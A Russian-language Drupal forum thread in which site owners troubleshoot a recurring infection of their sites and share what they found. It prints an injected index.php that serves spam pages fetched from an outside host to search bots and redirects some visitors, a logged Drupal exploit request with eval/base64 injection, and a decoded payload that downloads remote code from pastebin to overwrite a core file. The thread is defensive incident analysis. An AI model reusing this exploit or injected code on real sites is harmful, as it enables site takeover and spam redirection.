Вредоносный код

Главные вкладки

Комментарии

Аватар пользователя bumble bumble 2 мая 2018 в 19:50
1
  • Установите Hacked, проверьте им.
  • Замените ядро и все контрибные модули/темы актуальными версиями с орга.
  • Проверьте код кастомных модулей и тем.
  • Проверьте подключенные библиотеки и код не имеющий отношения к Drupal.
  • Если все вышеперечисленное не поможет - обратитесь к специалистам.
Аватар пользователя ivnish ivnish 2 мая 2018 в 19:52

Пробегитесь по последним темам, там полно инструкций в комментариях.

Если нет опыта или желания, пишите в личку, могу сделать это за вас

Аватар пользователя Olegars Olegars 2 мая 2018 в 22:14

Вряд ли что поможет, неделю наблюдаю за этой заразой, что бы не делал, через пару дней скотина все восстанавливает, более того, сделал эксперемент, поставил root владельцем index.php , и разрешение 444, так он зараза владельца сменил! Значит и серверу кердык. Так что чисть не чисть все равно получишь х.

Аватар пользователя Andrey_T Andrey_T 3 мая 2018 в 6:26

Сегодня вот тоже обнаружил левый код на сайте, который появился 2 недели назад, причем не в sites/.... , а в папках ядра. Ядро было старое(7.51), обновил и по удалял все закладки.

Закладки появились в виде файлов index.php в папках:
/cgi-bin
/misc (и во всех вложеных папках)
/profiles (и во всех вложеных папках)
/scripts
/themes (во всех базовых темах)

везде одно зашифрованное include на файл favicon_a2eef2.ico, который поместили также в /modules/simpletest/lib/favicon_a2eef2.ico

Хотел для желающих покопаться, расшарить на яндекс-диске, но там заявили что это вирус и расшаривать не дают Smile

PS: вот анализ файла на всякий случай. https://www.virustotal.com/#/file/26243880a7cfd133351af7be5da42c9ee1f431...

Аватар пользователя Phantom63rus Phantom63rus 3 мая 2018 в 17:04

Этого недостаточно.

Вирусы могут создавать свои файлы, могут использовать имеющиеся, могут даже в базу данных себя прописать. Нужно грохать всё что есть и накатывать заново, а также очень внимательно смотреть папку /sites.

Аватар пользователя Olegars Olegars 3 мая 2018 в 18:02

не только в базу, и не только в своем каталоге, эта какашка помещает себя в /var/tmp
прописывает себя в крон, и еще много чего делает, что я не обнаружил.
Поэтому, чтобы зачистить все гарантировано на 100%, надо начать с переустановки сервера.

Аватар пользователя Phantom63rus Phantom63rus 3 мая 2018 в 19:19

Если веб-сервер работает не от рута (что крайне маловероятно), то друпал тут вообще не при делах, проблема в самом сервере.

И таки да, я бы тоже переставил с нуля.

Но хорошо бы выяснить путь заражения, не каждый день серваки взламывают.

Аватар пользователя Olegars Olegars 3 мая 2018 в 19:47

я просто ахриниваю что будет если все так как я думаю, все серверы где ломанули друпал возможно теперь дырявые
Сдесь советы были, мол не обновлялись, сами дураки. Теперь в пору всем друпальщикам собираться и бесплатно всем обновлять, а то скоро с каждого угла будут орать друпал жопа

Аватар пользователя Olegars Olegars 3 мая 2018 в 22:54

Я же пишу "если все так как я думаю", ничего не утверждаю, а лишь обращаю внимание сообщества. Что вы сразу в стойку становитесь?
Когда вам это скажут битриксоиды поздно будет

Аватар пользователя Olegars Olegars 3 мая 2018 в 22:58

Semantics wrote:

Противник необоснованной паники, основанной на дилетантских взглядах на проблему


Аааа ну ладно, молчу....
Куда нам, до профессианалов

Аватар пользователя ivnish ivnish 4 мая 2018 в 5:18

Через уязвимости в ядре GNU/Linux или в ПО. Если на сервере не Debian 5 и регулярно ставятся обновления, то ничего ты не сломаешь. Отставить панику

Аватар пользователя Phantom63rus Phantom63rus 4 мая 2018 в 15:17

Есть пользователь, есть группа, есть файловая система, в которой прописаны права. Софт запускаются от имени разных пользователей. Разным пользователям разрешены на запуск разные программы.

Например если сайт простой, то давать пользователю доступ к консоли не требуется. Если сложный, например на друпале - очень желательно. НО! За свои права пользователь выпрыгнуть не может, т.е. после взлома в руки злоумышленников попадает /var/www/user/site, а также httpd ну и что-то там ещё типа отправки почты, того же шелла.

Чтобы заразить сервер нужно подняться на уровень root. Такая возможность возникает исключительно редко. Это ведь всё серверные операционки, дыры в архитектуре вычистили десятки лет назад.

P.S. Это популярное изложение.

Аватар пользователя bsyomov bsyomov 5 мая 2018 в 23:26
1

Как ломают сервера через сайты, упрощённая версия. Smile

Берём дыру в сайте, которая позволяет выполнение кода, или возможность заливки шелла, и фактически поучаем консоль пользователя, из под которого запускаются скрипты веб сервером.

Этого, обычно, очень мало для компрометации сервера, и даже сайтов соседей, но мы уже можем рассылать почту, использовать сервер как прокси, dosить кого-нибудь с него, майнить крипту в рамках ресурсов выделенных пользователю. Это уже не плохо, и зачастую можно остановиться на этом. Собственно, большинство заражений дальше не идёт.

Но если мы вдруг хотим большего, то берём базу уязвимостей, позволяющих поднять привилегии, в надежде, что что-нибудь не обновлено или накосячено, и какая-то из них сработает, и начинаем проверять их. В случае успеха получаем рута.

Ну а если мы не какой-нибудь школохакер, то включаем голову и находим проблемы безопасности самостоятельно. Тут процесс творческий, и намного более эффективный, т.к. позволяет выявить не только какие-то шаблонные уязвимости, которые обычно закрыты уж много лет как, но и небрежности в конфигурировании софта, забытые где-нибудь доступы в файликах доступных для чтения всем, а не там, кому надо и.т.п... И если не получится получить рута, то возможно, получится найти какую-нибудь ценную информацию, или сломать что-то ещё, например завладев чьей-то почтой.

Аватар пользователя Olegars Olegars 4 мая 2018 в 12:40

Черт, прошло двое суток после зачистки.
index.php

<?php
$lan = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
if (preg_match ( '/zh\-cn/i', $lan)){
    $url = 'http://www.baidu.com/';
    header("location: " . $url);
    exit();
}
error_reporting(0);
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
$rf=$_SERVER['HTTP_REFERER'];
$botchar = "/(googlebot|slurp|adsense)/";
if(preg_match($botchar, $ua)) {
        if($_SERVER['REQUEST_URI']=='/')
        {
        $file = file_get_contents('http://www.mywatchescopy.com/babrand7/ughghint.ru.html');
        echo $file;
exit;
        }
}
        if($_SERVER['REQUEST_URI']=='/')
        {
if(stripos($rf,"yahoo.co.jp") || stripos($rf,"google.co.jp") || stripos($rf,"docomo.ne.jp"))
{
        Header("Location: http://www.babrand7.com/search.php?keywords=");
        exit;
}
        }
?>
<?php

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 *
 * All Drupal code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt.
 */

/**
 * Root directory of Drupal installation.
 */

define('DRUPAL_ROOT', getcwd());

require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();

Аватар пользователя Andrey_T Andrey_T 4 мая 2018 в 13:12

Вот че накопал в логах
2001:41d0:a:54dd:: - - [23/Apr/2018:20:39:55 +0300] "POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=array_map&name%5B%23suffix%5D=eval%28base64_decode%28%22JGt1cmQ9YmFzZTY0X2RlY29k(и там куча всего)

после дешифровки в тексте болтается:

$text2 = file_get_contents('https://pastebin.com/raw/j0nms59V');
$open2=fopen("includes/bootstrap.inc", "w");
fwrite($open2, $text2);
fclose($open2);

с приветом от
HaCkeD by MuhmadEmad
KurDish HaCk3rS WaS Here

как-то так, разбирать буду на следующей неделе, а сейчас домой Smile

Аватар пользователя Arcad Arcad 4 мая 2018 в 19:18

Распространенная беда.
Проверьте еще крон у всех пользователей, особенно у www-...
и на здоровом сайте в первой доступной папке сделайте символическую ссылку на / каталог. и попробуйте открыть ее (www.sait.ru/anuka/ ) и удивитесь от восторга!

Аватар пользователя Arcad Arcad 4 мая 2018 в 19:27

Немного разнообразия добавит файлик ./htaccess со следующем содержанием

Options all
 DirectoryIndex Sux.html
 AddType text/plain .php
 AddHandler server-parsed .php
 AddType text/plain .html
 AddHandler txt .html
 Require None

Ну если еще вредоносный код есть, ( некий Sux.html) походу у вас все печально.
Кто то по крайне мере прочел весь ваш /*

Аватар пользователя misha89 misha89 5 мая 2018 в 18:17

void wrote:

Создайте на дру.ру фак на популярные темы. Потом просто ответ "фак1" или "фак 33, часть 3" Wink


Поддерживаю!

Аватар пользователя Andrey_T Andrey_T 7 мая 2018 в 4:20

Вдруг кому поможет, выловил я у себя еще одну хрень, потому как в субботу вирус вернулся на место.
Короче посмотрел по дате изменения папки время до минуты и посмотрел в логах все запросы в эту минуту.

Видимо ранее (на ядре 7,51) был залит интегратор, вот такой путь /sites/all/themes/zen/phtvzgwy.php
файлик небольшой, всего 1673байта, видимо он и заливает все куда надо хакерам.

ща удалили, посмотрим...

Аватар пользователя Andrey_T Andrey_T 8 мая 2018 в 6:09

Опять появился, при очередном ковырянии нашел похоже.... заразили в базовой теме template.php

на 1й строчке, после <?php внесено ведро и маленькая тележка пробелов и потом 1й строчкой закладка

по F4 не видно, если не прокручивать окно вправо, по F3 увидел сразу как только включил перенос слов.

также идут запросы в папку /modules/simpletest/tests/upgrade, но вроде безрезультатно